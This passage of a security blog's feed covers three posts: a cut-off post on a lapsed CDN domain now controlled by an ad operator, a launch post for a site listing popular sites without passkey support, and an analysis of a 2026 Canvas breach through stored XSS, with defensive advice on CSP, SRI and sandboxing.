    </code></pre><p></p><p>That resolves. Every legacy <code>&lt;hash&gt;.wpengine.netdna-ssl.com</code> asset URL still floating around in themes, docs and databases now points at infrastructure the original owner doesn&apos;t control.</p><p></p><h3 id="why-it-isnt-on-fire-yet">Why it isn&apos;t on fire yet</h3><p>It&apos;s tempting to overstate this, but I want to be honest. The apex and <code>wpengine.netdna-ssl.com</code> are live over HTTPS today. But the <em>deep</em> asset hostnames &#x2014; the actual <code>&lt;hash&gt;.wpengine.netdna-ssl.com</code> URLs that pages reference &#x2014; currently fail the TLS handshake:</p><pre><code>$ openssl s_client -connect netdna-ssl.com:443 \
        -servername wrz...gpg.wpengine.netdna-ssl.com
    ... sslv3 alert handshake failure
    </code></pre><p></p><p>The reason is mundane. The Cloudflare Universal SSL cert on the edge only covers:</p><pre><code>DNS:netdna-ssl.com, DNS:proxy.netdna-ssl.com, DNS:*.proxy.netdna-ssl.com
    </code></pre><p></p><p>No <code>*.wpengine.netdna-ssl.com</code>. So right now those legacy <code>script-src</code> and <code>font-src</code> requests break rather than execute attacker code.</p><p>But make no mistake &#x2014; this is a loaded gun, not a safe one. Closing that gap is a single toggle in Cloudflare&apos;s Advanced Certificate Manager. The DNS control is already total, the monetisation is already running. The day a <code>*.wpengine.netdna-ssl.com</code> certificate gets issued, this flips from &quot;broken asset&quot; to &quot;arbitrary JavaScript executing in thousands of pages.&quot;</p><p></p><h3 id="how-big-is-the-blast-radius">How big is the blast radius?</h3><p>A GitHub code search for <code>wpengine.netdna-ssl.com</code> returns <em>nearly 4,000 files</em> at the time of writing. Not hypothetical, either &#x2014; these are real references in real projects:</p><ul><li><code>mozilla/webxr-polyfill</code> loads its web fonts (<code>@font-face</code>, Zilla Slab) from a <code>&#x2026;-wpengine.netdna-ssl.com</code> host</li><li>Kong, Nextcloud, the Yale Daily News, NCSS, Server Density&#x2026; the list goes on</li></ul><p></p><p>To be precise: that&apos;s the scale of residual <em>references</em>, not 4,000 confirmed-vulnerable live sites. But every rendered page that still emits one of these URLs is sending its visitors&apos; browsers to a domain owned by an ad operator.</p><p></p><h3 id="this-isnt-a-forgotten-backwater-%E2%80%94-its-a-top-20000-domain">This isn&apos;t a forgotten backwater &#x2014; it&apos;s a top 20,000 domain</h3><p>You might reasonably assume a dead CDN domain gets no real traffic, and that those GitHub hits are just fossils sitting in repos nobody runs. They&apos;re not. Cloudflare Radar <a href="https://radar.cloudflare.com/domains/domain/netdna-ssl.com?ref=scotthelme.ghost.io" rel="noreferrer">ranks netdna-ssl.com</a> inside the top 20,000 domains globally. That&apos;s a popularity bucket measured from live DNS resolver data &#x2014; real browsers are still resolving this name today, in volume. Cloudflare&apos;s own <a href="https://radar.cloudflare.com/scan/4b4f0d48-bf40-4123-862f-8bf1752b6bb4/summary?ref=scotthelme.ghost.io" rel="noreferrer">URL scan</a> of the domain confirms what&apos;s being served at the other end of those requests. So this isn&apos;t a theoretical risk built on a code-search number; it&apos;s a domain with genuine, current reach that an unrelated ad operator now controls.</p><p></p><h3 id="weve-seen-this-exact-movie-before">We&apos;ve seen this exact movie before</h3><p>If this feels familiar, it&apos;s because it&apos;s the <a href="https://scotthelme.co.uk/warning-users-of-the-polyfill-io-supply-chain-attack/?ref=scotthelme.ghost.io" rel="noreferrer">polyfill.io attack from June 2024</a> wearing different clothes. There, a domain everyone trusted changed hands, and ~100,000+ sites inherited the new owner&apos;s intent overnight. Same root cause every time: we pin our trust to a domain, not to the code. When the domain changes hands, every site that referenced it gets dragged along.</p><p>The difference here is timing. <code>polyfill.io</code> fired immediately. <code>netdna-ssl.com</code> is pre-positioned but currently dormant &#x2014; which means, for once, there&apos;s a window to fix it <em>before</em> it goes off.</p><p></p><h3 id="what-to-actually-do">What to actually do</h3><p>If you want to take some immediate steps to make sure this potential issue doesn&apos;t impact you:</p><ol><li>Grep your sites. Search your HTML, themes, and database for <code>netdna-ssl.com</code>, <code>netdna-cdn.com</code> and <code>*.wpengine.netdna-ssl.com</code>. Remove or rehost anything you find. WP Engine customers: get off the Legacy Network and onto the Advanced Network / GES.</li><li>Use SRI. Subresource Integrity on third-party <code>&lt;script&gt;</code> and <code>&lt;link&gt;</code> tags means a swapped file <em>fails closed</em> instead of executing. (It won&apos;t save your fonts or images, mind you &#x2014; there&apos;s no SRI for those.)</li><li>Lock down CSP &#x2014; and report on it. A tight <code>script-src</code> / <code>font-src</code> / <code>connect-src</code> stops the loaded gun firing in your pages, and <code>report-uri</code> / <code>report-to</code> lets you <em>detect</em> these references in the wild. That&apos;s not a sales pitch, it&apos;s literally how I found this one &#x2014; it turned up in CSP reports.</li></ol><p></p><p>Audit your dependencies. Not just the npm ones &#x2014; the DNS ones too. The domains you stopped thinking about years ago are exactly the ones somebody else is hoping you forgot.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Why No Passkeys? Naming the Top Sites That Still Don't Support Them]]></title>
                <description><![CDATA[<p>Back in 2017, Troy Hunt and I built a little website called <a href="https://whynohttps.com/?ref=scotthelme.ghost.io">whynohttps.com</a>. The idea was simple: take the most popular sites on the internet, check which ones still weren&apos;t redirecting visitors to HTTPS, and put the laggards on a list for everyone to see. No lecture,</p>]]></description>
                <link>https://scotthelme.ghost.io/why-no-passkeys-naming-the-top-sites-that-still-dont-support-them/</link>
                <guid isPermaLink="false">6a327b74c9b18e0001e1bb2e</guid>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 22 Jun 2026 13:22:10 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/why-no-passkeys-hero.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/why-no-passkeys-hero.png" alt="Why No Passkeys? Naming the Top Sites That Still Don&apos;t Support Them"><p>Back in 2017, Troy Hunt and I built a little website called <a href="https://whynohttps.com/?ref=scotthelme.ghost.io">whynohttps.com</a>. The idea was simple: take the most popular sites on the internet, check which ones still weren&apos;t redirecting visitors to HTTPS, and put the laggards on a list for everyone to see. No lecture, no 40-page report, just a leaderboard of who hadn&apos;t done the thing yet. It turned out that a list is a surprisingly effective motivator. Nobody wants to be on the list.</p><p>We&apos;re at exactly the same moment again, but this time the technology is passkeys. So, Troy provided the domain, and I&apos;ve built the obvious sequel: <a href="https://whynopasskeys.com/?ref=scotthelme.ghost.io"><strong>whynopasskeys.com</strong></a></p><p></p><figure class="kg-card kg-image-card"><a href="https://whynopasskeys.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-9.png" class="kg-image" alt="Why No Passkeys? Naming the Top Sites That Still Don&apos;t Support Them" loading="lazy" width="867" height="412" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-9.png 867w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="weve-already-had-the-passkeys-argument">We&apos;ve already had the passkeys argument</h3><p>Don&apos;t worry, I&apos;m not going to tread the same ground again. I&apos;ve written plenty about passkeys already, from <a href="https://scotthelme.co.uk/passkeys-101-an-introduction-to-passkeys-and-how-they-work/?ref=scotthelme.ghost.io">Passkeys 101</a> covering how they actually work, to the <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/?ref=scotthelme.ghost.io">sharper edges of the threat model</a> that nobody seems to be talking about. The short version is the part that matters here: passkeys are phishing-resistant by design. They&apos;re hard to phish, they can&apos;t leak in a breach, and they can&apos;t be replayed. Whether a passkey replaces your password entirely, or just backs a password up as a 2FA mechanism, it removes a whole category of attacks that we&apos;ve been fighting, and losing, for decades.</p><p>The technology works and it&apos;s widely supported. We aren&apos;t waiting on engineering, we&apos;re waiting on <em>adoption</em>. And just like HTTPS in 2017, the thing standing between users and a meaningfully more secure internet is a long list of websites that haven&apos;t gotten around to it yet.</p><p>That&apos;s the gap I want to make visible.</p><p></p><h3 id="what-the-site-shows">What the site shows</h3><p><a href="https://whynopasskeys.com/?ref=scotthelme.ghost.io" rel="noreferrer">whynopasskeys.com</a> takes the world&apos;s most popular websites and tells you which ones support passkeys and which ones don&apos;t. There&apos;s a global Top 25, and there are per-country lists so you can see how your own corner of the internet is doing, covering well over a hundred countries.</p><p>The launch-day headline number is the whole reason this site exists:</p><p></p><blockquote><strong>7 of the top 25 sites globally still have no passkey support. That&apos;s 28% of the most-visited destinations on the internet.</strong></blockquote><p></p><p>If they do not support passkeys, passkeys still feel optional everywhere else, and these aren&apos;t small shops without a security team. The current no-passkeys list at the top end includes names like Instagram, Netflix, Spotify, Samsung, Roblox and Baidu. Sites with hundreds of millions, in some cases billions, of accounts, all still protected by nothing more than a password and possibly MFA. These are the sites that shape user expectations.</p><p>I&apos;ve also tried to be honest in the <em>other</em> direction, because &quot;supports passkeys&quot; is doing a lot of work as a phrase. A site that lets you log in with a passkey and skip the password entirely is in a very different place to one that only allows a passkey as a second factor on top of your existing password. So where I can, the list distinguishes between passwordless passkey support and MFA-only support. </p><p></p><h3 id="how-its-built">How it&apos;s built</h3><p>People asked the same thing about whynohttps.com all those years ago, so let me get ahead of it: how do you know?</p><p>For ranking the sites I use <a href="https://radar.cloudflare.com/domains?ref=scotthelme.ghost.io">Cloudflare Radar</a> for the global and US lists, which is about as good a successor to the old Alexa rankings as we have, and the <a href="https://tranco-list.eu/?ref=scotthelme.ghost.io">Tranco</a> list for per-country rankings, attributing sites to countries by their national domain so you get <em>that country&apos;s</em> popular sites rather than the same handful of global giants on every page. There&apos;s a fair bit of unglamorous plumbing to strip out the CDNs, ad networks and API endpoints that clog up raw rankings, because nobody needs to know whether an analytics beacon supports passkeys.</p><p>The passkey support data itself comes from our <a href="https://github.com/ScottHelme/passkeys-directory/issues?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-directory</a>, a community-maintained list. This is the honest limitation of the whole project, and I&apos;d rather say it out loud than have someone &quot;gotcha&quot; me with it: <em>passkey support cannot be reliably auto-detected.</em> WebAuthn lives behind a login flow, so there&apos;s no header to scan and no endpoint to probe the way there was with HTTPS. The list is therefore only as complete as the directory it draws from.</p><p>Which leads nicely to the most important feature.</p><p></p><h3 id="if-a-site-is-wrong-you-can-fix-it">If a site is wrong, you can fix it!</h3><p>Every &quot;No passkeys&quot; entry on the site links straight to a way to correct it. If a site <em>does</em> support passkeys and we&apos;ve got it wrong, the fix is to <a href="https://github.com/ScottHelme/passkeys-directory/issues?ref=scotthelme.ghost.io" rel="noreferrer">submit it to our passkeys-directory</a>, which improves the data for the whole community, not just my little list. I would genuinely love for this site to get less accurate over time, in the sense that I have to keep moving names from the red column to the green one.</p><p>Because that&apos;s the actual goal. whynohttps.com wasn&apos;t really about the shaming, satisfying as it was. It was about giving people a clear, sharable, undeniable picture of where we were, so that the conversation inside these companies shifted from &quot;should we?&quot; to &quot;why are we on this list?&quot;. HTTPS went from a &apos;nice-to-have&apos; to being &apos;essential&apos; in a remarkably short space of time, and a bit of friendly public accountability was part of that.</p><p>Passkeys are at the same crossroads now. The sites at the top of these lists set the tone for everyone else. When the biggest names make passkeys popular, it stops being exotic and starts being expected.</p><p></p><h3 id="a-note-for-the-sites-doing-the-work">A note for the sites doing the work</h3><p>If you&apos;re rolling passkeys out, brilliant. It&apos;s harder than it looks to do well, and the threat model has subtleties that bite you precisely <em>because</em> passkeys are so strong everywhere else, which is the whole reason we <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io">had our own implementation independently security tested</a> before we shipped it. If you&apos;re standing up passkeys and want visibility into what&apos;s actually happening in your users&apos; browsers during sign-in, that&apos;s exactly the kind of thing <a href="https://report-uri.com/?ref=scotthelme.ghost.io">Report URI</a> is built to watch. The best time to know your auth flow is misbehaving is before your users tell you.</p><p></p><h3 id="go-and-have-a-look">Go and have a look</h3><p><a href="https://whynopasskeys.com/?ref=scotthelme.ghost.io">whynopasskeys.com</a> is live. Go and find your favourite sites, find your country, and if there&apos;s a name on there that really ought to know better, share it with them. The fastest way to get a site off the list is for enough of its users to ask why it&apos;s on there in the first place.</p><p>And if you run one of these sites: you already know what to do. Let&apos;s get you off the list.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[The Instructure Canvas Breach (2026): How XSS in a Support Ticket Compromised 275 Million Students]]></title>
                <description><![CDATA[<p>A single support ticket became the front door to 275 million student records. The Canvas breach shows how quickly untrusted user content can become a serious security incident when it is rendered inside privileged internal tooling. This was not an exotic attack chain; it was stored XSS, over-scoped access,</p>]]></description>
                <link>https://scotthelme.ghost.io/the-instructure-canvas-breach-2026-how-xss-in-a-support-ticket-compromised-275-million-students/</link>
                <guid isPermaLink="false">6a2454a32b2c280001660ce5</guid>
                <category><![CDATA[XSS]]></category>
                <category><![CDATA[CSP]]></category>
                <category><![CDATA[SRI]]></category>
                <category><![CDATA[Report URI]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 15 Jun 2026 12:21:15 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/instructure-canvas.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/instructure-canvas.png" alt="The Instructure Canvas Breach (2026): How XSS in a Support Ticket Compromised 275 Million Students"><p>A single support ticket became the front door to 275 million student records. The Canvas breach shows how quickly untrusted user content can become a serious security incident when it is rendered inside privileged internal tooling. This was not an exotic attack chain; it was stored XSS, over-scoped access, and a missing browser-enforced safety net. The fix is cheap. The consequences of ignoring it are not.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-2.png" class="kg-image" alt="The Instructure Canvas Breach (2026): How XSS in a Support Ticket Compromised 275 Million Students" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-2.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>In April and May 2026, the cybercrime group ShinyHunters compromised Instructure&apos;s Canvas &#x2014; the learning platform used by roughly 275 million students at 8,809 schools and universities worldwide &#x2014; by exploiting a stored cross-site scripting (XSS) vulnerability in the free-tier support ticket system. A malicious file attached to a single help-desk ticket fired inside a Canvas employee&apos;s authenticated session when they opened it, handing the attacker cross-tenant API access to every paying institution on the platform. Canvas went offline mid-finals and during AP exams, an alleged $10 million ransom was reportedly paid, and both the US Congress and the US Department of Education opened inquiries. The architectural pattern that made this possible &#x2014; unauthenticated user content rendered inside privileged admin tooling, on infrastructure shared between free and paying tenants &#x2014; exists in most SaaS estates I&apos;ve seen. The first line of defence is often just a single HTTP header.</p><p></p><h3 id="a-note-before-we-start-%E2%80%94-whats-confirmed-and-what-isnt">A note before we start &#x2014; what&apos;s confirmed and what isn&apos;t</h3><p>Before I get into the details, I want to be clear about what I know and what I&apos;m inferring, because the public record on this incident is uneven at best and I don&apos;t want to mislead.</p><p><strong>What is confirmed</strong>, either by Instructure directly (their incident update page and their customer webinar) or via Phil Hill&apos;s coverage of that webinar at On EdTech, the &quot;linked file with hidden code&quot; phrasing, the April 22 &#x2192; April 25 &#x2192; April 28&#x2013;30 timeline, the customer-service representative whose session was used to call Canvas&apos;s APIs, the second XSS in the discussion feature on May 7, the use of the custom-themes feature to deploy a CSS file, and the ~300-account defacement scope. The data categories exposed are also confirmed.</p><p><strong>What I am inferring</strong>, and what you should treat as my reading rather than disclosed fact: the <em>exact</em> nature of the &quot;linked file&quot; payload (Instructure has not said whether it was an HTML attachment, an SVG, a document previewer exploit, or something else); the architectural claim that the help-desk rep&apos;s session had cross-tenant API reach (I feel this is the most plausible explanation for how a single rep&apos;s session led to data exfiltration across 8,809 institutions, but Instructure has not described their internal session model publicly that I can find); the specific privilege level the second XSS achieved; and obviously every claim I make about what a CSP would or wouldn&apos;t have stopped, which is an analytical argument rather than a counterfactual we can actually run. If you do happen to have the malicious payload, please let me know.</p><p>Where I speculate, I&apos;ll flag it and make it clear. Where I state something as fact, it&apos;s from the sources you can find at the end of the post. Now, let&apos;s dig in.</p><p></p><h3 id="how-did-the-canvas-breach-actually-happen">How did the Canvas breach actually happen?</h3><p>Instructure has since done a customer webinar with their Chief Architect Zach Pendleton, their CISO Steve Proud, and CrowdStrike&apos;s Head of Incident Response James Perry. Between that, their incident update page, and Phil Hill&apos;s coverage at On EdTech, here&apos;s the timeline I can put together:</p><p></p><table>
    <thead>
    <tr>
    <th>Date</th>
    <th>Event</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td><strong>22 Apr 2026</strong></td>
    <td>A Free-for-Teacher user opens a Canvas support ticket containing, in Instructure&apos;s own phrasing, <em>&quot;a linked file with hidden code.&quot;</em> In plain English: a stored XSS payload, delivered as a file rather than as inline HTML.</td>
    </tr>
    <tr>
    <td><strong>25 Apr 2026</strong></td>
    <td>A Canvas customer-service representative opens the ticket. The payload fires <em>&quot;in the rep&apos;s authenticated session.&quot;</em></td>
    </tr>
    <tr>
    <td><strong>28&#x2013;30 Apr 2026</strong></td>
    <td>The attacker uses that session to call Canvas&apos;s APIs and exfiltrate usernames, email addresses, course names, enrolment information and in-product messages.</td>
    </tr>
    <tr>
    <td><strong>29 Apr 2026</strong></td>
    <td>Instructure detects the activity. Access revoked by 30 April.</td>
    </tr>
    <tr>
    <td><strong>7 May 2026</strong></td>
    <td>A <em>second</em>, separate stored XSS &#x2014; this one in the Canvas discussion feature, exploited via a different code path &#x2014; is used to push a malicious CSS file through Canvas&apos;s &quot;custom themes&quot; feature, deploying a ransom note onto the login portals of roughly 300 schools.</td>
    </tr>
    <tr>
    <td><strong>7 May 2026, PM</strong></td>
    <td>Canvas is taken offline mid-finals.</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>That&apos;s the whole chain. Two separate stored XSS bugs, one privileged session, one cross-tenant API surface, and one feature working as designed (custom themes) used as the final defacement primitive. ShinyHunters claim 3.65 TB of data and 8,809 institutions affected. Instructure reportedly settled.</p><p></p><h3 id="how-did-the-support-ticket-become-an-xss-vector">How did the support ticket become an XSS vector?</h3><p>This is the part that I think most people are missing in their coverage: the original vector was an XSS attack. Having an XSS vulnerability in your application is going to be bad even in the best of scenarios, but a help-desk ticketing system with an XSS vulnerability introduces some extra concerns.</p><p></p><ol><li><strong>The input is untrusted by definition.</strong> Anybody can open a ticket. In Canvas&apos;s case, anybody could open a <em>Free-for-Teacher</em> account &#x2014; no institutional verification, no payment, no identity &#x2014; and then open a ticket from inside that account.</li><li><strong>The output is rendered in a privileged context.</strong> Support reps look at tickets all day, every day, in internal tooling that almost always has authenticated sessions to backend admin systems.</li><li><strong>Those sessions are usually wider than any single customer.</strong> A customer-service rep needs to look at <em>anybody&apos;s</em> tickets, so their session typically carries authority across the estate &#x2014; every tenant, every paying institution, every API. I want to flag that I&apos;m inferring this part about Canvas specifically; Instructure has not publicly described the scope of their help-desk session model. But the outcome &#x2014; a single rep&apos;s session leading to data exfiltration across thousands of institutions &#x2014; I feel is difficult to explain any other way.</li></ol><p></p><p>Combine those three and what you have is a cross-tenant privilege escalation primitive disguised as a help-desk form. The user is unauthenticated to your paying customers&apos; data; the rep who opens their ticket is authenticated to (probably) all of it. The XSS vulnerability is the bridge.</p><p>We don&apos;t know exactly what the <em>&quot;linked file with hidden code&quot;</em> was. It feels like the phrasing is deliberately vague, and what follows is my own speculation, rather than disclosed fact. To my reading, it implies the payload wasn&apos;t simply HTML or JavaScript pasted into the ticket body &#x2014; which would have hit Canvas&apos;s existing HTML sanitiser, <code>canvas_sanitize</code>. It was a file. Plausible candidates, in no particular order:</p><p></p><ul><li>An HTML or SVG file attachment, rendered inline in the ticket viewer without a sandboxed iframe.</li><li>A linked URL whose contents got fetched and rendered as a preview by the help-desk UI.</li><li>A document attachment processed by a previewer (Canvas uses Canvadocs / DocViewer for inline document previews; this code path has had CVEs before).</li></ul><p></p><p>I want to be honest that this is informed guesswork. Instructure may yet publish more detail, and if they do I&apos;ll happily come back and correct this section. But whether it was one of these options or something else entirely, the lesson is the same and it&apos;s an old one: never render untrusted content in the same origin as your privileged tooling. If you absolutely must preview attachments inline, do it from a sandboxed origin that has no cookies for anything important. Document previewers, in particular, should live on a <code>usercontent.example.com</code>-style cookieless sibling domain, exactly the way Google Docs, GitHub user content or other SaaS products handle user-uploaded files.</p><p></p><h3 id="how-did-the-second-xss-lead-to-the-login-portal-defacement">How did the second XSS lead to the login portal defacement?</h3><p>After Instructure plugged the support-ticket hole on April 30, ShinyHunters came back through a fresh XSS &#x2014; this one in the discussion feature, which is exactly the user-generated-content surface you&apos;d worry about in an LMS. Discussions in Canvas accept rich text, math equations, embedded media, and a long tail of the kind of HTML constructs that make sanitiser writers cry.</p><p>That, presumably, gave them administrator-level access again &#x2014; Instructure hasn&apos;t spelled out exactly which privilege level the second XSS reached, but the subsequent abuse of an admin-only feature is consistent with admin sessions. Once they had that access, they didn&apos;t need another vulnerability for the defacement &#x2014; they used the platform&apos;s intended administrator feature, &quot;custom themes,&quot; to push a malicious CSS file out to login pages.</p><p>This is worth pausing on. The defacement itself was not exploiting a bug. It was exploiting a <em>feature</em> &#x2014; one that exists because institutions want to brand their login pages. Once an attacker has admin-tier access, they have legitimate access to the customisation primitive. The XSS was just the route to admin.</p><p>So when we read that Canvas &quot;pushed a CSS file through the custom themes feature,&quot; what&apos;s actually happening is: stored XSS in discussions &#x2192; privileged session theft &#x2192; legitimate themes API call &#x2192; CSS deployed to ~300 login portals &#x2192; ransom note visible to students opening the app during AP exams. The chain looks complicated; each individual step is mundane.</p><p></p><h3 id="what-would-csp-have-actually-stopped">What would CSP have actually stopped?</h3><p>This is the part that matters to me, and I get asked all the time whether CSP &quot;would have stopped&quot; some breach or another, and the honest answer is usually &quot;it depends which part of the breach.&quot;</p><p>Caveat up front: this entire section is analytical. We don&apos;t know what Instructure&apos;s CSP posture was on the help-desk UI, the discussion-rendering pages, or the tenant login portals at the time of the incident. The claims below are about what a <em>suitably strict</em> CSP would have done in principle &#x2014; not a critique of any specific policy Instructure may or may not have had in place. With that flagged, let&apos;s go stage by stage.</p><p><strong>Stage one: the support-rep XSS.</strong> A strict, nonce-based CSP on Instructure&apos;s internal help-desk UI could very plausibly have broken this stage of the attack chain. The payload was running script &#x2014; in the rep&apos;s authenticated session, which is the textbook thing CSP is designed to prevent. A policy along the lines of:</p><p></p><pre><code>Content-Security-Policy:
      default-src &apos;self&apos;;
      script-src &apos;self&apos; &apos;nonce-{random}&apos;;
      style-src &apos;self&apos; &apos;nonce-{random}&apos;;
      object-src &apos;none&apos;;
      base-uri &apos;none&apos;;
      frame-ancestors &apos;none&apos;;
      report-to csp-endpoint;</code></pre><p></p><p>&#x2026;with no <code>&apos;unsafe-inline&apos;</code> and no broad allow-listed hosts, leaves attacker-controlled inline script with nowhere to execute. Even if the attacker manages to inject a <code>&lt;script&gt;</code> tag through the sanitiser, the browser refuses to run it because it doesn&apos;t carry the nonce. The session theft never happens. The April 28&#x2013;30 API pillage never happens. The breach is contained at the door.</p><p><strong>Stage two: the discussion XSS.</strong> Same answer, broadly. A nonce-based <code>script-src</code> on the Canvas app surface that admins use would stop the second XSS reaching script execution in a privileged session. There&apos;s a wrinkle here &#x2014; Canvas explicitly <em>renders user-generated HTML</em>, including math equations via MathJax, embedded media, and the rest &#x2014; so a strict CSP for the student-facing rendering of discussions is genuinely hard. But for the <em>admin-facing</em> rendering of discussions, where session compromise has cross-tenant consequences, the trade-off is straightforward. Admin views of UGC should be sandboxed, protected by CSP, or both.</p><p><strong>Stage three: the themes defacement.</strong> This one is more nuanced. The defacement was delivered as a CSS file via a legitimate administrator feature. CSP&apos;s <code>style-src</code> would not necessarily block a CSS file served from the application&apos;s own origin, because it was uploaded through the application&apos;s own admin tooling and served as a legitimate asset. The ransom <em>banner</em> &#x2014; whatever inline script or DOM injection it used to render the message &#x2014; would, however, hit the CSP wall if the policy was strict on <code>script-src</code>.</p><p>So CSP doesn&apos;t magically fix architectural mistakes about what privileged features can do. But it does break the chain at the point that matters most: the moment user-controlled script first runs in a privileged session.</p><p></p><h3 id="would-sri-have-helped-and-what-about-csp-reporting">Would SRI have helped? And what about CSP reporting?</h3><p>Some of you are probably already reaching for the keyboard to ask about <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity</a>. SRI is brilliant when somebody compromises a third-party script CDN you&apos;re loading. This wasn&apos;t that. The malicious content here was first-party &#x2014; uploaded into Instructure&apos;s own systems, served from Instructure&apos;s own origins. SRI was never going to help. This is also a useful distinction from the newer <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity-Policy</a> work: integrity controls are powerful for governing external script loading, but they are not a substitute for isolating user-generated content or preventing first-party XSS.</p><p>What <em>would</em> have helped &#x2014; and this is the bit I find most painful &#x2014; is CSP reporting. The Canvas attackers were in the rep&apos;s session for roughly four days before detection. Four days, with attacker-controlled script presumably making outbound API calls or fetching attacker resources from somewhere.</p><p>If Instructure had been running CSP in report-only or enforce mode on their help-desk UI, and pointing the reports at an aggregator (yes, like ours), the injection would have announced itself on day one. The loudest signal is the simplest: an injected inline script that doesn&apos;t carry the right nonce generates a violation report on every single page load &#x2014; so from April 25 onwards, the help-desk UI would have been emitting a report every time that ticket was viewed. (Worth being precise here: the data exfiltration itself ran through Canvas&apos;s own first-party APIs, which are same-origin and wouldn&apos;t trip&#x2014; CSP only reports violations. But the moment any stolen data was beaconed to attacker infrastructure, that off-origin fetch would have hit the policy and generated a report too.) The signal would have been screaming for four days before anyone looked.</p><p>This is the part of the CSP story that doesn&apos;t get told often enough. It isn&apos;t <em>just</em> a runtime block. It&apos;s a real-time integrity sensor for your application&apos;s execution environment. When somebody manages to inject content into pages they shouldn&apos;t, your CSP reports tell you in seconds. You don&apos;t need to wait for a CrowdStrike engagement and a forensic timeline to learn that something in the help-desk UI executed a script it shouldn&apos;t have. The browser, on every page load, is willing and ready to tell you. </p><p>We see this pattern at Report URI constantly. Customers who deploy CSP and pipe the reports somewhere they actually look at them catch injections &#x2014; sometimes from contractors testing things in production, sometimes from compromised third parties, occasionally from genuine attacks &#x2014; <em>days</em> or <em>weeks</em> before any other detection layer fires. The cost of getting that signal is the cost of a CSP header and an endpoint to send reports to.</p><p></p><h3 id="whats-the-architectural-lesson-from-the-canvas-breach">What&apos;s the architectural lesson from the Canvas breach?</h3><p>If I had to compress this entire incident into one sentence, it would be this: the support ticket is the back door to your admin console, and your admin console is the front door to every customer.</p><p>Free-tier programs are wonderful for adoption. Instructure&apos;s Free-for-Teacher was almost certainly responsible for a meaningful chunk of Canvas&apos;s eventual institutional uptake &#x2014; teachers who tried it in a personal capacity, then advocated for it when their districts went shopping. Shutting it down, as Instructure has now done, is a real product loss.</p><p>But Free-for-Teacher sat on shared infrastructure with paying tenants. The trust boundary between &quot;anonymous member of the public who signed up with a Gmail address ten minutes ago&quot; and &quot;regulated student data at 9,000 institutions&quot; was a sanitiser, a support-ticket renderer, and a session cookie scope. That&apos;s a thin boundary to ask three pieces of code to hold up.</p><p>The fix is not to abandon free tiers. The fix is to render untrusted user content in places that <em>don&apos;t matter when they get compromised</em>. Cookieless sandbox origins. Sandboxed iframes with no <code>allow-same-origin</code>. Help-desk tooling that doesn&apos;t carry production session cookies. Cross-tenant API access that requires re-authentication, not just session presence. And on top of all of it, a CSP that turns &quot;an attacker just executed script in my admin UI&quot; from a four-day silent breach into a notification you get before your coffee goes cold.</p><p>Canvas is back online. The students caught up. The data, allegedly, has been destroyed. But the underlying architectural pattern &#x2014; untrusted user content rendered in privileged origins &#x2014; is sitting in more SaaS products than I can count. Most of you reading this probably have it in your stack right now.</p><p>The good news is that the defence is cheap. The bad news is that the people who need it most are usually the ones who think it doesn&apos;t apply to them.</p><p>Don&apos;t be the next case study.</p><p></p><h3 id="so-what-should-teams-do-tomorrow">So what should teams do tomorrow?</h3><p>The uncomfortable lesson here is that this pattern is probably already present somewhere in your own estate. Most SaaS products have places where untrusted user content is rendered for trusted staff: support tickets, file previews, customer messages, admin notes, imports, exports, themes, templates, comments, invoices, logs, or uploaded attachments. The options are plenty, so start by finding those places.</p><p>Ask a simple question for each one: can attacker-controlled content execute in a browser session that has more privilege than the attacker does? If the answer is yes, you have a problem worth fixing quickly.</p><p>The immediate review list is short:</p><p></p><ol><li>Identify every internal or admin surface that renders customer-supplied HTML, Markdown, files, images, SVGs, PDFs, CSS, templates, or rich text.</li><li>Check whether those surfaces share an origin, cookies, or session context with privileged staff tools.</li><li>Move risky rendering to a separate, sandboxed origin with no access to admin cookies or production APIs.</li><li>Apply a strict CSP in enforce mode, not just report-only, especially on support, admin, and moderation tooling.</li><li>Require re-authentication, step-up verification, or explicit approval before staff sessions can perform sensitive cross-tenant actions.</li><li>Review whether support/admin roles have broader API access than they actually need.</li><li>Monitor CSP, failed isolation, and suspicious API 